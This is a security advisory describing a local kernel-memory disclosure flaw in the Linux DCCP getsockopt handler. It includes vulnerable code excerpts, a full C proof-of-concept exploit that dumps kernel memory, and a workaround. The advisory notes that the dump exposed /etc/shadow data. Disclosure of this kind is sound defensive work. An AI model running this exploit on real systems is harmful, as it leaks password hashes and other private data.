|
Brought to you by:
Suppliers of:
|
|
|
| |
"The Linux kernel is a Unix-like operating system kernel. It is the namesake of the Linux family of operating systems. Released under the GNU General Public License (GPL) and developed by contributors worldwide, Linux is one of the most prominent examples of free/open source software whose developers primarily follow the philosophy of the open source movement."
The Linux kernel is susceptible to a locally exploitable flaw which may allow local users to steal data from the kernel memory. |
| |
Credit:
The information has been provided by Robert wi cki.
|
| |
Vulnerable Systems:
* Linux Kernel versions 2.6.2* with DCCP support enabled.
* (Kernel versions prior to 2.6.20 lack DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for getsockopt() call with SOL_DCCP level, which are used in the delivered POC code.)
The flaw exists in do_dccp_getsockopt() function in net/dccp/proto.c file:
-----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
...
-----------------------
The above code doesn't check `len' variable for negative values. Because of cast typing (len < sizeof(int)) is always true for 'len' values less than 0.
-----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
-----------------------
What happens next depends greatly on the cpu architecture in-use each cpu architecture has its own copy_to_user() implementation. On the IA-32 the code below:
-----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
BUG_ON((long) n < 0);
-----------------------
... will prevent explotation, but kernel will oops due to invalid opcode in BUG_ON().
On some other architectures (e.g. x86-64) kernel-space data will be copied to the user supplied buffer until end-of-kernel space (pagefault in kernel-mode occurs) is reached.
Actually, `optlen' is not checked againist upper limit as well, so we can simply use any large positive value for getsockopt()'s optlen and we will be able to use it on IA32 cpus as well, without playing with signedness.
Proof of concept:
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>
#define BUFSIZE 0x10000000
int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem == (void*)-1) {
printf("Alloc failed\n");
return -1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int len = BUFSIZE;
int x = getsockopt(s, 269, 11, mem, &len);
if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n");
write(1, mem, BUFSIZE);
return 0;
}
Cached disk blocks were found in the dump (e.g. /etc/shadow) and tty buffers.
Workaround:
Remove dccp support from the installed linux kernel (remove dccp kernel modules etc..) or create a patch for kernel sources.
|
|
|
|
|